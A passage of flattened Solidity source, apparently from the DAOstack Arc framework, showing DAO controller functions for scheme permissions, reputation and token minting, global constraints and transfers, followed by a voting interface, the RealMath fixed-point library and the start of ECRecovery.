event ExternalTokenTransferFrom (address indexed _sender, address indexed _externalToken, address _from, address _to, uint _value);
event ExternalTokenIncreaseApproval (address indexed _sender, StandardToken indexed _externalToken, address _spender, uint _value);
event ExternalTokenDecreaseApproval (address indexed _sender, StandardToken indexed _externalToken, address _spender, uint _value);
event UpgradeController(address indexed _oldController,address _newController);
event AddGlobalConstraint(address indexed _globalConstraint, bytes32 _params,GlobalConstraintInterface.CallPhase _when);
event RemoveGlobalConstraint(address indexed _globalConstraint ,uint256 _index,bool _isPre);
event GenericCall(address indexed _contract,bytes _data);
constructor( Avatar _avatar) public
{
avatar = _avatar;
nativeToken = avatar.nativeToken();
nativeReputation = avatar.nativeReputation();
schemes[msg.sender] = Scheme({paramsHash: bytes32(0),permissions: bytes4(0x1F)});
}
// Do not allow mistaken calls:
function() external {
revert();
}
// Modifiers:
modifier onlyRegisteredScheme() {
require(schemes[msg.sender].permissions&bytes4(1) == bytes4(1));
_;
}
modifier onlyRegisteringSchemes() {
require(schemes[msg.sender].permissions&bytes4(2) == bytes4(2));
_;
}
modifier onlyGlobalConstraintsScheme() {
require(schemes[msg.sender].permissions&bytes4(4) == bytes4(4));
_;
}
modifier onlyUpgradingScheme() {
require(schemes[msg.sender].permissions&bytes4(8) == bytes4(8));
_;
}
modifier onlyGenericCallScheme() {
require(schemes[msg.sender].permissions&bytes4(16) == bytes4(16));
_;
}
modifier onlySubjectToConstraint(bytes32 func) {
uint idx;
for (idx = 0;idx<globalConstraintsPre.length;idx++) {
require((GlobalConstraintInterface(globalConstraintsPre[idx].gcAddress)).pre(msg.sender,globalConstraintsPre[idx].params,func));
}
_;
for (idx = 0;idx<globalConstraintsPost.length;idx++) {
require((GlobalConstraintInterface(globalConstraintsPost[idx].gcAddress)).post(msg.sender,globalConstraintsPost[idx].params,func));
}
}
modifier isAvatarValid(address _avatar) {
require(_avatar == address(avatar));
_;
}
/**
* @dev Mint `_amount` of reputation that are assigned to `_to` .
* @param _amount amount of reputation to mint
* @param _to beneficiary address
* @return bool which represents a success
*/
function mintReputation(uint256 _amount, address _to,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("mintReputation")
isAvatarValid(_avatar)
returns(bool)
{
emit MintReputation(msg.sender, _to, _amount);
return nativeReputation.mint(_to, _amount);
}
/**
* @dev Burns `_amount` of reputation from `_from`
* @param _amount amount of reputation to burn
* @param _from The address that will lose the reputation
* @return bool which represents a success
*/
function burnReputation(uint256 _amount, address _from,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("burnReputation")
isAvatarValid(_avatar)
returns(bool)
{
emit BurnReputation(msg.sender, _from, _amount);
return nativeReputation.burn(_from, _amount);
}
/**
* @dev mint tokens .
* @param _amount amount of token to mint
* @param _beneficiary beneficiary address
* @return bool which represents a success
*/
function mintTokens(uint256 _amount, address _beneficiary,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("mintTokens")
isAvatarValid(_avatar)
returns(bool)
{
emit MintTokens(msg.sender, _beneficiary, _amount);
return nativeToken.mint(_beneficiary, _amount);
}
/**
* @dev register a scheme
* @param _scheme the address of the scheme
* @param _paramsHash a hashed configuration of the usage of the scheme
* @param _permissions the permissions the new scheme will have
* @return bool which represents a success
*/
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions,address _avatar)
external
onlyRegisteringSchemes
onlySubjectToConstraint("registerScheme")
isAvatarValid(_avatar)
returns(bool)
{
Scheme memory scheme = schemes[_scheme];
// Check scheme has at least the permissions it is changing, and at least the current permissions:
// Implementation is a bit messy. One must recall logic-circuits ^^
// produces non-zero if sender does not have all of the perms that are changing between old and new
require(bytes4(0x1F)&(_permissions^scheme.permissions)&(~schemes[msg.sender].permissions) == bytes4(0));
// produces non-zero if sender does not have all of the perms in the old scheme
require(bytes4(0x1F)&(scheme.permissions&(~schemes[msg.sender].permissions)) == bytes4(0));
// Add or change the scheme:
schemes[_scheme].paramsHash = _paramsHash;
schemes[_scheme].permissions = _permissions|bytes4(1);
emit RegisterScheme(msg.sender, _scheme);
return true;
}
/**
* @dev unregister a scheme
* @param _scheme the address of the scheme
* @return bool which represents a success
*/
function unregisterScheme( address _scheme,address _avatar)
external
onlyRegisteringSchemes
onlySubjectToConstraint("unregisterScheme")
isAvatarValid(_avatar)
returns(bool)
{
//check if the scheme is registered
if (schemes[_scheme].permissions&bytes4(1) == bytes4(0)) {
return false;
}
// Check the unregistering scheme has enough permissions:
require(bytes4(0x1F)&(schemes[_scheme].permissions&(~schemes[msg.sender].permissions)) == bytes4(0));
// Unregister:
emit UnregisterScheme(msg.sender, _scheme);
delete schemes[_scheme];
return true;
}
/**
* @dev unregister the caller's scheme
* @return bool which represents a success
*/
function unregisterSelf(address _avatar) external isAvatarValid(_avatar) returns(bool) {
if (_isSchemeRegistered(msg.sender,_avatar) == false) {
return false;
}
delete schemes[msg.sender];
emit UnregisterScheme(msg.sender, msg.sender);
return true;
}
function isSchemeRegistered(address _scheme,address _avatar) external isAvatarValid(_avatar) view returns(bool) {
return _isSchemeRegistered(_scheme,_avatar);
}
function getSchemeParameters(address _scheme,address _avatar) external isAvatarValid(_avatar) view returns(bytes32) {
return schemes[_scheme].paramsHash;
}
function getSchemePermissions(address _scheme,address _avatar) external isAvatarValid(_avatar) view returns(bytes4) {
return schemes[_scheme].permissions;
}
function getGlobalConstraintParameters(address _globalConstraint,address) external view returns(bytes32) {
GlobalConstraintRegister memory register = globalConstraintsRegisterPre[_globalConstraint];
if (register.isRegistered) {
return globalConstraintsPre[register.index].params;
}
register = globalConstraintsRegisterPost[_globalConstraint];
if (register.isRegistered) {
return globalConstraintsPost[register.index].params;
}
}
/**
* @dev globalConstraintsCount return the global constraint pre and post count
* @return uint globalConstraintsPre count.
* @return uint globalConstraintsPost count.
*/
function globalConstraintsCount(address _avatar)
external
isAvatarValid(_avatar)
view
returns(uint,uint)
{
return (globalConstraintsPre.length,globalConstraintsPost.length);
}
function isGlobalConstraintRegistered(address _globalConstraint,address _avatar)
external
isAvatarValid(_avatar)
view
returns(bool)
{
return (globalConstraintsRegisterPre[_globalConstraint].isRegistered || globalConstraintsRegisterPost[_globalConstraint].isRegistered);
}
/**
* @dev add or update Global Constraint
* @param _globalConstraint the address of the global constraint to be added.
* @param _params the constraint parameters hash.
* @return bool which represents a success
*/
function addGlobalConstraint(address _globalConstraint, bytes32 _params,address _avatar)
external
onlyGlobalConstraintsScheme
isAvatarValid(_avatar)
returns(bool)
{
GlobalConstraintInterface.CallPhase when = GlobalConstraintInterface(_globalConstraint).when();
if ((when == GlobalConstraintInterface.CallPhase.Pre)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
if (!globalConstraintsRegisterPre[_globalConstraint].isRegistered) {
globalConstraintsPre.push(GlobalConstraint(_globalConstraint,_params));
globalConstraintsRegisterPre[_globalConstraint] = GlobalConstraintRegister(true,globalConstraintsPre.length-1);
}else {
globalConstraintsPre[globalConstraintsRegisterPre[_globalConstraint].index].params = _params;
}
}
if ((when == GlobalConstraintInterface.CallPhase.Post)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
if (!globalConstraintsRegisterPost[_globalConstraint].isRegistered) {
globalConstraintsPost.push(GlobalConstraint(_globalConstraint,_params));
globalConstraintsRegisterPost[_globalConstraint] = GlobalConstraintRegister(true,globalConstraintsPost.length-1);
}else {
globalConstraintsPost[globalConstraintsRegisterPost[_globalConstraint].index].params = _params;
}
}
emit AddGlobalConstraint(_globalConstraint, _params,when);
return true;
}
/**
* @dev remove Global Constraint
* @param _globalConstraint the address of the global constraint to be remove.
* @return bool which represents a success
*/
function removeGlobalConstraint (address _globalConstraint,address _avatar)
external
onlyGlobalConstraintsScheme
isAvatarValid(_avatar)
returns(bool)
{
GlobalConstraintRegister memory globalConstraintRegister;
GlobalConstraint memory globalConstraint;
GlobalConstraintInterface.CallPhase when = GlobalConstraintInterface(_globalConstraint).when();
bool retVal = false;
if ((when == GlobalConstraintInterface.CallPhase.Pre)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
globalConstraintRegister = globalConstraintsRegisterPre[_globalConstraint];
if (globalConstraintRegister.isRegistered) {
if (globalConstraintRegister.index < globalConstraintsPre.length-1) {
globalConstraint = globalConstraintsPre[globalConstraintsPre.length-1];
globalConstraintsPre[globalConstraintRegister.index] = globalConstraint;
globalConstraintsRegisterPre[globalConstraint.gcAddress].index = globalConstraintRegister.index;
}
globalConstraintsPre.length--;
delete globalConstraintsRegisterPre[_globalConstraint];
retVal = true;
}
}
if ((when == GlobalConstraintInterface.CallPhase.Post)||(when == GlobalConstraintInterface.CallPhase.PreAndPost)) {
globalConstraintRegister = globalConstraintsRegisterPost[_globalConstraint];
if (globalConstraintRegister.isRegistered) {
if (globalConstraintRegister.index < globalConstraintsPost.length-1) {
globalConstraint = globalConstraintsPost[globalConstraintsPost.length-1];
globalConstraintsPost[globalConstraintRegister.index] = globalConstraint;
globalConstraintsRegisterPost[globalConstraint.gcAddress].index = globalConstraintRegister.index;
}
globalConstraintsPost.length--;
delete globalConstraintsRegisterPost[_globalConstraint];
retVal = true;
}
}
if (retVal) {
emit RemoveGlobalConstraint(_globalConstraint,globalConstraintRegister.index,when == GlobalConstraintInterface.CallPhase.Pre);
}
return retVal;
}
/**
* @dev upgrade the Controller
* The function will trigger an event 'UpgradeController'.
* @param _newController the address of the new controller.
* @return bool which represents a success
*/
function upgradeController(address _newController,address _avatar)
external
onlyUpgradingScheme
isAvatarValid(_avatar)
returns(bool)
{
require(newController == address(0)); // so the upgrade could be done once for a contract.
require(_newController != address(0));
newController = _newController;
avatar.transferOwnership(_newController);
require(avatar.owner()==_newController);
if (nativeToken.owner() == address(this)) {
nativeToken.transferOwnership(_newController);
require(nativeToken.owner()==_newController);
}
if (nativeReputation.owner() == address(this)) {
nativeReputation.transferOwnership(_newController);
require(nativeReputation.owner()==_newController);
}
emit UpgradeController(this,newController);
return true;
}
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @param _avatar the controller's avatar address
* @return bytes32 - the return value of the called _contract's function.
*/
function genericCall(address _contract,bytes _data,address _avatar)
external
onlyGenericCallScheme
onlySubjectToConstraint("genericCall")
isAvatarValid(_avatar)
returns (bytes32)
{
emit GenericCall(_contract, _data);
avatar.genericCall(_contract, _data);
// solium-disable-next-line security/no-inline-assembly
assembly {
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
return(0, returndatasize)
}
}
/**
* @dev send some ether
* @param _amountInWei the amount of ether (in Wei) to send
* @param _to address of the beneficiary
* @return bool which represents a success
*/
function sendEther(uint _amountInWei, address _to,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("sendEther")
isAvatarValid(_avatar)
returns(bool)
{
emit SendEther(msg.sender, _amountInWei, _to);
return avatar.sendEther(_amountInWei, _to);
}
/**
* @dev send some amount of arbitrary ERC20 Tokens
* @param _externalToken the address of the Token Contract
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @return bool which represents a success
*/
function externalTokenTransfer(StandardToken _externalToken, address _to, uint _value,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("externalTokenTransfer")
isAvatarValid(_avatar)
returns(bool)
{
emit ExternalTokenTransfer(msg.sender, _externalToken, _to, _value);
return avatar.externalTokenTransfer(_externalToken, _to, _value);
}
/**
* @dev transfer token "from" address "to" address
* One must to approve the amount of tokens which can be spend from the
* "from" account.This can be done using externalTokenApprove.
* @param _externalToken the address of the Token Contract
* @param _from address of the account to send from
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @return bool which represents a success
*/
function externalTokenTransferFrom(StandardToken _externalToken, address _from, address _to, uint _value,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("externalTokenTransferFrom")
isAvatarValid(_avatar)
returns(bool)
{
emit ExternalTokenTransferFrom(msg.sender, _externalToken, _from, _to, _value);
return avatar.externalTokenTransferFrom(_externalToken, _from, _to, _value);
}
/**
* @dev increase approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _addedValue the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenIncreaseApproval(StandardToken _externalToken, address _spender, uint _addedValue,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("externalTokenIncreaseApproval")
isAvatarValid(_avatar)
returns(bool)
{
emit ExternalTokenIncreaseApproval(msg.sender,_externalToken,_spender,_addedValue);
return avatar.externalTokenIncreaseApproval(_externalToken, _spender, _addedValue);
}
/**
* @dev decrease approval for the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _subtractedValue the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenDecreaseApproval(StandardToken _externalToken, address _spender, uint _subtractedValue,address _avatar)
external
onlyRegisteredScheme
onlySubjectToConstraint("externalTokenDecreaseApproval")
isAvatarValid(_avatar)
returns(bool)
{
emit ExternalTokenDecreaseApproval(msg.sender,_externalToken,_spender,_subtractedValue);
return avatar.externalTokenDecreaseApproval(_externalToken, _spender, _subtractedValue);
}
/**
* @dev getNativeReputation
* @param _avatar the organization avatar.
* @return organization native reputation
*/
function getNativeReputation(address _avatar) external isAvatarValid(_avatar) view returns(address) {
return address(nativeReputation);
}
function _isSchemeRegistered(address _scheme,address _avatar) private isAvatarValid(_avatar) view returns(bool) {
return (schemes[_scheme].permissions&bytes4(1) != bytes4(0));
}
}
// File: contracts/universalSchemes/ExecutableInterface.sol
contract ExecutableInterface {
function execute(bytes32 _proposalId, address _avatar, int _param) public returns(bool);
}
// File: contracts/VotingMachines/IntVoteInterface.sol
interface IntVoteInterface {
//When implementing this interface please do not only override function and modifier,
//but also to keep the modifiers on the overridden functions.
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(bytes32 indexed _proposalId, address indexed _avatar, uint _numOfChoices, address _proposer, bytes32 _paramsHash);
event ExecuteProposal(bytes32 indexed _proposalId, address indexed _avatar, uint _decision, uint _totalReputation);
event VoteProposal(bytes32 indexed _proposalId, address indexed _avatar, address indexed _voter, uint _vote, uint _reputation);
event CancelProposal(bytes32 indexed _proposalId, address indexed _avatar );
event CancelVoting(bytes32 indexed _proposalId, address indexed _avatar, address indexed _voter);
/**
* @dev register a new proposal with the given parameters. Every proposal has a unique ID which is being
* generated by calculating keccak256 of a incremented counter.
* @param _numOfChoices number of voting choices
* @param _proposalParameters defines the parameters of the voting machine used for this proposal
* @param _avatar an address to be sent as the payload to the _executable contract.
* @param _executable This contract will be executed when vote is over.
* @param _proposer address
* @return proposal's id.
*/
function propose(
uint _numOfChoices,
bytes32 _proposalParameters,
address _avatar,
ExecutableInterface _executable,
address _proposer
) external returns(bytes32);
// Only owned proposals and only the owner:
function cancelProposal(bytes32 _proposalId) external returns(bool);
// Only owned proposals and only the owner:
function ownerVote(bytes32 _proposalId, uint _vote, address _voter) external returns(bool);
function vote(bytes32 _proposalId, uint _vote) external returns(bool);
function voteWithSpecifiedAmounts(
bytes32 _proposalId,
uint _vote,
uint _rep,
uint _token) external returns(bool);
function cancelVote(bytes32 _proposalId) external;
//@dev execute check if the proposal has been decided, and if so, execute the proposal
//@param _proposalId the id of the proposal
//@return bool true - the proposal has been executed
// false - otherwise.
function execute(bytes32 _proposalId) external returns(bool);
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint);
function isVotable(bytes32 _proposalId) external view returns(bool);
/**
* @dev voteStatus returns the reputation voted for a proposal for a specific voting choice.
* @param _proposalId the ID of the proposal
* @param _choice the index in the
* @return voted reputation for the given choice
*/
function voteStatus(bytes32 _proposalId,uint _choice) external view returns(uint);
/**
* @dev isAbstainAllow returns if the voting machine allow abstain (0)
* @return bool true or false
*/
function isAbstainAllow() external pure returns(bool);
/**
* @dev getAllowedRangeOfChoices returns the allowed range of choices for a voting machine.
* @return min - minimum number of choices
max - maximum number of choices
*/
function getAllowedRangeOfChoices() external pure returns(uint min,uint max);
}
// File: contracts/universalSchemes/UniversalSchemeInterface.sol
contract UniversalSchemeInterface {
function updateParameters(bytes32 _hashedParameters) public;
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
// File: contracts/universalSchemes/UniversalScheme.sol
contract UniversalScheme is Ownable, UniversalSchemeInterface {
bytes32 public hashedParameters; // For other parameters.
function updateParameters(
bytes32 _hashedParameters
)
public
onlyOwner
{
hashedParameters = _hashedParameters;
}
/**
* @dev get the parameters for the current scheme from the controller
*/
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
return ControllerInterface(_avatar.owner()).getSchemeParameters(this,address(_avatar));
}
}
// File: contracts/libs/RealMath.sol
/**
* RealMath: fixed-point math library, based on fractional and integer parts.
* Using int256 as real216x40, which isn't in Solidity yet.
* 40 fractional bits gets us down to 1E-12 precision, while still letting us
* go up to galaxy scale counting in meters.
* Internally uses the wider int256 for some math.
*
* Note that for addition, subtraction, and mod (%), you should just use the
* built-in Solidity operators. Functions for these operations are not provided.
*
* Note that the fancy functions like sqrt, atan2, etc. aren't as accurate as
* they should be. They are (hopefully) Good Enough for doing orbital mechanics
* on block timescales in a game context, but they may not be good enough for
* other applications.
*/
library RealMath {
/**
* How many total bits are there?
*/
int256 constant REAL_BITS = 256;
/**
* How many fractional bits are there?
*/
int256 constant REAL_FBITS = 40;
/**
* How many integer bits are there?
*/
int256 constant REAL_IBITS = REAL_BITS - REAL_FBITS;
/**
* What's the first non-fractional bit
*/
int256 constant REAL_ONE = int256(1) << REAL_FBITS;
/**
* What's the last fractional bit?
*/
int256 constant REAL_HALF = REAL_ONE >> 1;
/**
* What's two? Two is pretty useful.
*/
int256 constant REAL_TWO = REAL_ONE << 1;
/**
* And our logarithms are based on ln(2).
*/
int256 constant REAL_LN_TWO = 762123384786;
/**
* It is also useful to have Pi around.
*/
int256 constant REAL_PI = 3454217652358;
/**
* And half Pi, to save on divides.
* TODO: That might not be how the compiler handles constants.
*/
int256 constant REAL_HALF_PI = 1727108826179;
/**
* And two pi, which happens to be odd in its most accurate representation.
*/
int256 constant REAL_TWO_PI = 6908435304715;
/**
* What's the sign bit?
*/
int256 constant SIGN_MASK = int256(1) << 255;
/**
* Convert an integer to a real. Preserves sign.
*/
function toReal(int216 ipart) internal pure returns (int256) {
return int256(ipart) * REAL_ONE;
}
/**
* Convert a real to an integer. Preserves sign.
*/
function fromReal(int256 realValue) internal pure returns (int216) {
return int216(realValue / REAL_ONE);
}
/**
* Round a real to the nearest integral real value.
*/
function round(int256 realValue) internal pure returns (int256) {
// First, truncate.
int216 ipart = fromReal(realValue);
if ((fractionalBits(realValue) & (uint40(1) << (REAL_FBITS - 1))) > 0) {
// High fractional bit is set. Round up.
if (realValue < int256(0)) {
// Rounding up for a negative number is rounding down.
ipart -= 1;
} else {
ipart += 1;
}
}
return toReal(ipart);
}
/**
* Get the absolute value of a real. Just the same as abs on a normal int256.
*/
function abs(int256 realValue) internal pure returns (int256) {
if (realValue > 0) {
return realValue;
} else {
return -realValue;
}
}
/**
* Returns the fractional bits of a real. Ignores the sign of the real.
*/
function fractionalBits(int256 realValue) internal pure returns (uint40) {
return uint40(abs(realValue) % REAL_ONE);
}
/**
* Get the fractional part of a real, as a real. Ignores sign (so fpart(-0.5) is 0.5).
*/
function fpart(int256 realValue) internal pure returns (int256) {
// This gets the fractional part but strips the sign
return abs(realValue) % REAL_ONE;
}
/**
* Get the fractional part of a real, as a real. Respects sign (so fpartSigned(-0.5) is -0.5).
*/
function fpartSigned(int256 realValue) internal pure returns (int256) {
// This gets the fractional part but strips the sign
int256 fractional = fpart(realValue);
if (realValue < 0) {
// Add the negative sign back in.
return -fractional;
} else {
return fractional;
}
}
/**
* Get the integer part of a fixed point value.
*/
function ipart(int256 realValue) internal pure returns (int256) {
// Subtract out the fractional part to get the real part.
return realValue - fpartSigned(realValue);
}
/**
* Multiply one real by another. Truncates overflows.
*/
function mul(int256 realA, int256 realB) internal pure returns (int256) {
// When multiplying fixed point in x.y and z.w formats we get (x+z).(y+w) format.
// So we just have to clip off the extra REAL_FBITS fractional bits.
return int256((int256(realA) * int256(realB)) >> REAL_FBITS);
}
/**
* Divide one real by another real. Truncates overflows.
*/
function div(int256 realNumerator, int256 realDenominator) internal pure returns (int256) {
// We use the reverse of the multiplication trick: convert numerator from
// x.y to (x+z).(y+w) fixed point, then divide by denom in z.w fixed point.
return int256((int256(realNumerator) * REAL_ONE) / int256(realDenominator));
}
/**
* Create a real from a rational fraction.
*/
function fraction(int216 numerator, int216 denominator) internal pure returns (int256) {
return div(toReal(numerator), toReal(denominator));
}
// Now we have some fancy math things (like pow and trig stuff). This isn't
// in the RealMath that was deployed with the original Macroverse
// deployment, so it needs to be linked into your contract statically.
/**
* Raise a number to a positive integer power in O(log power) time.
* See <https://stackoverflow.com/a/101613>
*/
function ipow(int256 realBase, int216 exponent) internal pure returns (int256) {
if (exponent < 0) {
// Negative powers are not allowed here.
revert();
}
int256 tempRealBase = realBase;
int256 tempExponent = exponent;
// Start with the 0th power
int256 realResult = REAL_ONE;
while (tempExponent != 0) {
// While there are still bits set
if ((tempExponent & 0x1) == 0x1) {
// If the low bit is set, multiply in the (many-times-squared) base
realResult = mul(realResult, tempRealBase);
}
// Shift off the low bit
tempExponent = tempExponent >> 1;
// Do the squaring
tempRealBase = mul(tempRealBase, tempRealBase);
}
// Return the final result.
return realResult;
}
/**
* Zero all but the highest set bit of a number.
* See <https://stackoverflow.com/a/53184>
*/
function hibit(uint256 _val) internal pure returns (uint256) {
// Set all the bits below the highest set bit
uint256 val = _val;
val |= (val >> 1);
val |= (val >> 2);
val |= (val >> 4);
val |= (val >> 8);
val |= (val >> 16);
val |= (val >> 32);
val |= (val >> 64);
val |= (val >> 128);
return val ^ (val >> 1);
}
/**
* Given a number with one bit set, finds the index of that bit.
*/
function findbit(uint256 val) internal pure returns (uint8 index) {
index = 0;
// We and the value with alternating bit patters of various pitches to find it.
if (val & 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA != 0) {
// Picth 1
index |= 1;
}
if (val & 0xCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC != 0) {
// Pitch 2
index |= 2;
}
if (val & 0xF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0 != 0) {
// Pitch 4
index |= 4;
}
if (val & 0xFF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00 != 0) {
// Pitch 8
index |= 8;
}
if (val & 0xFFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000 != 0) {
// Pitch 16
index |= 16;
}
if (val & 0xFFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000 != 0) {
// Pitch 32
index |= 32;
}
if (val & 0xFFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000 != 0) {
// Pitch 64
index |= 64;
}
if (val & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000 != 0) {
// Pitch 128
index |= 128;
}
}
/**
* Shift realArg left or right until it is between 1 and 2. Return the
* rescaled value, and the number of bits of right shift applied. Shift may be negative.
*
* Expresses realArg as realScaled * 2^shift, setting shift to put realArg between [1 and 2).
*
* Rejects 0 or negative arguments.
*/
function rescale(int256 realArg) internal pure returns (int256 realScaled, int216 shift) {
if (realArg <= 0) {
// Not in domain!
revert();
}
// Find the high bit
int216 highBit = findbit(hibit(uint256(realArg)));
// We'll shift so the high bit is the lowest non-fractional bit.
shift = highBit - int216(REAL_FBITS);
if (shift < 0) {
// Shift left
realScaled = realArg << -shift;
} else if (shift >= 0) {
// Shift right
realScaled = realArg >> shift;
}
}
/**
* Calculate the natural log of a number. Rescales the input value and uses
* the algorithm outlined at <https://math.stackexchange.com/a/977836> and
* the ipow implementation.
*
* Lets you artificially limit the number of iterations.
*
* Note that it is potentially possible to get an un-converged value; lack
* of convergence does not throw.
*/
function lnLimited(int256 realArg, int maxIterations) internal pure returns (int256) {
if (realArg <= 0) {
// Outside of acceptable domain
revert();
}
if (realArg == REAL_ONE) {
// Handle this case specially because people will want exactly 0 and
// not ~2^-39 ish.
return 0;
}
// We know it's positive, so rescale it to be between [1 and 2)
int256 realRescaled;
int216 shift;
(realRescaled, shift) = rescale(realArg);
// Compute the argument to iterate on
int256 realSeriesArg = div(realRescaled - REAL_ONE, realRescaled + REAL_ONE);
// We will accumulate the result here
int256 realSeriesResult = 0;
for (int216 n = 0; n < maxIterations; n++) {
// Compute term n of the series
int256 realTerm = div(ipow(realSeriesArg, 2 * n + 1), toReal(2 * n + 1));
// And add it in
realSeriesResult += realTerm;
if (realTerm == 0) {
// We must have converged. Next term is too small to represent.
break;
}
// If we somehow never converge I guess we will run out of gas
}
// Double it to account for the factor of 2 outside the sum
realSeriesResult = mul(realSeriesResult, REAL_TWO);
// Now compute and return the overall result
return mul(toReal(shift), REAL_LN_TWO) + realSeriesResult;
}
/**
* Calculate a natural logarithm with a sensible maximum iteration count to
* wait until convergence. Note that it is potentially possible to get an
* un-converged value; lack of convergence does not throw.
*/
function ln(int256 realArg) internal pure returns (int256) {
return lnLimited(realArg, 100);
}
/**
* Calculate e^x. Uses the series given at
* <http://pages.mtu.edu/~shene/COURSES/cs201/NOTES/chap04/exp.html>.
*
* Lets you artificially limit the number of iterations.
*
* Note that it is potentially possible to get an un-converged value; lack
* of convergence does not throw.
*/
function expLimited(int256 realArg, int maxIterations) internal pure returns (int256) {
// We will accumulate the result here
int256 realResult = 0;
// We use this to save work computing terms
int256 realTerm = REAL_ONE;
for (int216 n = 0; n < maxIterations; n++) {
// Add in the term
realResult += realTerm;
// Compute the next term
realTerm = mul(realTerm, div(realArg, toReal(n + 1)));
if (realTerm == 0) {
// We must have converged. Next term is too small to represent.
break;
}
// If we somehow never converge I guess we will run out of gas
}
// Return the result
return realResult;
}
/**
* Calculate e^x with a sensible maximum iteration count to wait until
* convergence. Note that it is potentially possible to get an un-converged
* value; lack of convergence does not throw.
*/
function exp(int256 realArg) internal pure returns (int256) {
return expLimited(realArg, 100);
}
/**
* Raise any number to any power, except for negative bases to fractional powers.
*/
function pow(int256 realBase, int256 realExponent) internal pure returns (int256) {
if (realExponent == 0) {
// Anything to the 0 is 1
return REAL_ONE;
}
if (realBase == 0) {
if (realExponent < 0) {
// Outside of domain!
revert();
}
// Otherwise it's 0
return 0;
}
if (fpart(realExponent) == 0) {
// Anything (even a negative base) is super easy to do to an integer power.
if (realExponent > 0) {
// Positive integer power is easy
return ipow(realBase, fromReal(realExponent));
} else {
// Negative integer power is harder
return div(REAL_ONE, ipow(realBase, fromReal(-realExponent)));
}
}
if (realBase < 0) {
// It's a negative base to a non-integer power.
// In general pow(-x^y) is undefined, unless y is an int or some
// weird rational-number-based relationship holds.
revert();
}
// If it's not a special case, actually do it.
return exp(mul(realExponent, ln(realBase)));
}
/**
* Compute the square root of a number.
*/
function sqrt(int256 realArg) internal pure returns (int256) {
return pow(realArg, REAL_HALF);
}
/**
* Compute the sin of a number to a certain number of Taylor series terms.
*/
function sinLimited(int256 _realArg, int216 maxIterations) internal pure returns (int256) {
// First bring the number into 0 to 2 pi
// TODO: This will introduce an error for very large numbers, because the error in our Pi will compound.
// But for actual reasonable angle values we should be fine.
int256 realArg = _realArg;
realArg = realArg % REAL_TWO_PI;
int256 accumulator = REAL_ONE;
// We sum from large to small iteration so that we can have higher powers in later terms
for (int216 iteration = maxIterations - 1; iteration >= 0; iteration--) {
accumulator = REAL_ONE - mul(div(mul(realArg, realArg), toReal((2 * iteration + 2) * (2 * iteration + 3))), accumulator);
// We can't stop early; we need to make it to the first term.
}
return mul(realArg, accumulator);
}
/**
* Calculate sin(x) with a sensible maximum iteration count to wait until
* convergence.
*/
function sin(int256 realArg) internal pure returns (int256) {
return sinLimited(realArg, 15);
}
/**
* Calculate cos(x).
*/
function cos(int256 realArg) internal pure returns (int256) {
return sin(realArg + REAL_HALF_PI);
}
/**
* Calculate tan(x). May overflow for large results. May throw if tan(x)
* would be infinite, or return an approximation, or overflow.
*/
function tan(int256 realArg) internal pure returns (int256) {
return div(sin(realArg), cos(realArg));
}
}
// File: openzeppelin-solidity/contracts/ECRecovery.sol
/**
* @title Eliptic curve signature operations
*
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
*
* TODO Remove this library once solidity supports passing a signature to ecrecover.
* See https://github.com/ethereum/solidity/issues/864
*
*/
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
/**
